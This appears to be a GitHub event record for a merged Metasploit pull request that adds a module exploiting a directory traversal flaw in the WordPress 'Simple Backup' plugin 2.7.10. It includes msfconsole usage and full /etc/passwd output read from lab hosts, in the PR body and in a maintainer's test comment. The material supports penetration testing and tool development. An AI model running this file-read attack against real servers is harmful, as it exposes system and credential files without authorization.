{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5397","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5397/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5397/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5397/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5397","id":79046138,"number":5397,"title":"Add WordPress Simple Backup File Read Vulnerability.","user":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2015-05-21T15:31:52Z","updated_at":"2015-06-12T20:33:34Z","closed_at":"2015-06-12T20:32:49Z","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5397","html_url":"https://github.com/rapid7/metasploit-framework/pull/5397","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5397.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5397.patch"},"body":"#### Add Wordpress Plugin Simple Backup File Read Vulnerability.\r\n\r\n  Application: Wordpress Plugin 'Simple Backup' 2.7.10\r\n  Homepage: https://wordpress.org/plugins/simple-backup/\r\n  Source Code: https://downloads.wordpress.org/plugin/simple-backup.2.7.10.zip\r\n  Active Installs: 30,000+\r\n  References: https://wpvulndb.com/vulnerabilities/7997\r\n\r\n#### Vulnerable packages*\r\n        \r\n  2.7.10\r\n  \r\n#### Usage:\r\n\r\n##### Linux (Ubuntu 14.04.2 LTS):\r\n```\r\nmsf > use auxiliary/scanner/http/wp_simple_backup_file_read \r\nmsf auxiliary(wp_simple_backup_file_read) > info\r\n\r\n       Name: WordPress Simple Backup File Read Vulnerability\r\n     Module: auxiliary/scanner/http/wp_simple_backup_file_read\r\n    License: Metasploit Framework License (BSD)\r\n       Rank: Normal\r\n\r\nProvided by:\r\n  Mahdi.Hidden\r\n  Roberto Soares Espreto <robertoespreto@gmail.com>\r\n\r\nBasic options:\r\n  Name       Current Setting  Required  Description\r\n  ----       ---------------  --------  -----------\r\n  DEPTH      6                yes       Traversal Depth (to reach the root folder)\r\n  FILEPATH   /etc/passwd      yes       The path to the file to read\r\n  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]\r\n  RHOSTS                      yes       The target address range or CIDR identifier\r\n  RPORT      80               yes       The target port\r\n  TARGETURI  /                yes       The base path to the wordpress application\r\n  THREADS    1                yes       The number of concurrent threads\r\n  VHOST                       no        HTTP server virtual host\r\n\r\nDescription:\r\n  This module exploits a directory traversal vulnerability in \r\n  WordPress Plugin \"Simple Backup\" version 2.7.10, allowing to read \r\n  arbitrary files with the web server privileges.\r\n\r\nReferences:\r\n  https://wpvulndb.com/vulnerabilities/7997\r\n  http://packetstormsecurity.com/files/131919/\r\n\r\nmsf auxiliary(wp_simple_backup_file_read) > show options \r\n\r\nModule options (auxiliary/scanner/http/wp_simple_backup_file_read):\r\n\r\n   Name       Current Setting  Required  Description\r\n   ----       ---------------  --------  -----------\r\n   DEPTH      6                yes       Traversal Depth (to reach the root folder)\r\n   FILEPATH   /etc/passwd      yes       The path to the file to read\r\n   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOSTS                      yes       The target address range or CIDR identifier\r\n   RPORT      80               yes       The target port\r\n   TARGETURI  /                yes       The base path to the wordpress application\r\n   THREADS    1                yes       The number of concurrent threads\r\n   VHOST                       no        HTTP server virtual host\r\n\r\nmsf auxiliary(wp_simple_backup_file_read) > set RHOSTS 10.10.10.20\r\nRHOSTS => 10.10.10.20\r\nmsf auxiliary(wp_simple_backup_file_read) > check\r\n[*] 10.10.10.20:80 - The target appears to be vulnerable.\r\n[*] Checked 1 of 1 hosts (100% complete)\r\nmsf auxiliary(wp_simple_backup_file_read) > run\r\n\r\n[+] 10.10.10.20:80 - File saved in: /home/espreto/.msf4/loot/20150521121154_default_10.10.10.20_simplebackup_614708.txt\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(wp_simple_backup_file_read) > set VERBOSE true\r\nVERBOSE => true\r\nmsf auxiliary(wp_simple_backup_file_read) > run\r\n\r\nroot:x:0:0:root:/root:/bin/bash\r\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\r\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\r\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\r\nsync:x:4:65534:sync:/bin:/bin/sync\r\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\r\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\r\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\r\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\r\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\r\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\r\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\r\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\r\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\r\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\r\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\r\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\r\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\r\nlibuuid:x:100:101::/var/lib/libuuid:\r\nsyslog:x:101:104::/home/syslog:/bin/false\r\nmessagebus:x:102:106::/var/run/dbus:/bin/false\r\nusbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false\r\ndnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false\r\navahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false\r\nkernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false\r\nrtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false\r\nsaned:x:108:115::/home/saned:/bin/false\r\nwhoopsie:x:109:116::/nonexistent:/bin/false\r\nspeech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh\r\navahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false\r\nlightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false\r\ncolord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false\r\nhplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false\r\npulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false\r\nespreto:x:1000:1000:espreto,,,:/home/espreto:/bin/bash\r\nvboxadd:x:999:1::/var/run/vboxadd:/bin/false\r\nmysql:x:117:126:MySQL Server,,,:/nonexistent:/bin/false\r\npostgres:x:1001:1001::/home/postgres:\r\n\r\n[+] 10.10.10.20:80 - File saved in: /home/espreto/.msf4/loot/20150521121203_default_10.10.10.20_simplebackup_264070.txt\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(wp_simple_backup_file_read) >\r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/111606605","html_url":"https://github.com/rapid7/metasploit-framework/pull/5397#issuecomment-111606605","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5397","id":111606605,"user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"created_at":"2015-06-12T20:33:34Z","updated_at":"2015-06-12T20:33:34Z","body":"landed, thanks @espreto \r\n\r\n@FireFart feedback added here: https://github.com/rapid7/metasploit-framework/commit/184c20cd464f55378884fd75cd0659b791069cb1\r\n\r\nTest:\r\n\r\n```\r\nmsf auxiliary(wp_simple_backup_file_read) > rerun\r\n[*] Reloading module...\r\n\r\n[+] 172.16.158.133:80 - File saved in: /Users/jvazquez/.msf4/loot/20150612153128_default_172.16.158.133_simplebackup.tra_943621.txt\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(wp_simple_backup_file_read) > cat /Users/jvazquez/.msf4/loot/20150612153128_default_172.16.158.133_simplebackup.tra_943621.txt\r\n[*] exec: cat /Users/jvazquez/.msf4/loot/20150612153128_default_172.16.158.133_simplebackup.tra_943621.txt\r\n\r\nroot:x:0:0:root:/root:/bin/bash\r\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\r\nbin:x:2:2:bin:/bin:/bin/sh\r\nsys:x:3:3:sys:/dev:/bin/sh\r\nsync:x:4:65534:sync:/bin:/bin/sync\r\ngames:x:5:60:games:/usr/games:/bin/sh\r\nman:x:6:12:man:/var/cache/man:/bin/sh\r\nlp:x:7:7:lp:/var/spool/lpd:/bin/sh\r\nmail:x:8:8:mail:/var/mail:/bin/sh\r\nnews:x:9:9:news:/var/spool/news:/bin/sh\r\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\r\nproxy:x:13:13:proxy:/bin:/bin/sh\r\nwww-data:x:33:33:www-data:/var/www:/bin/sh\r\nbackup:x:34:34:backup:/var/backups:/bin/sh\r\nlist:x:38:38:Mailing List Manager:/var/list:/bin/sh\r\nirc:x:39:39:ircd:/var/run/ircd:/bin/sh\r\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh\r\nnobody:x:65534:65534:nobody:/nonexistent:/bin/sh\r\nlibuuid:x:100:101::/var/lib/libuuid:/bin/sh\r\nsyslog:x:101:103::/home/syslog:/bin/false\r\nmessagebus:x:102:107::/var/run/dbus:/bin/false\r\navahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false\r\navahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false\r\ncouchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash\r\nspeech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh\r\nusbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false\r\nhaldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false\r\nkernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false\r\npulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false\r\nrtkit:x:111:117:RealtimeKit,,,:/proc:/bin/false\r\nsaned:x:112:118::/home/saned:/bin/false\r\nhplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false\r\ngdm:x:114:120:Gnome Display Manager:/var/lib/gdm:/bin/false\r\njuan:x:1000:1000:Juan Vazquez,,,:/home/juan:/bin/bash\r\nmysql:x:115:123:MySQL Server,,,:/var/lib/mysql:/bin/false\r\nsshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin\r\n```"}}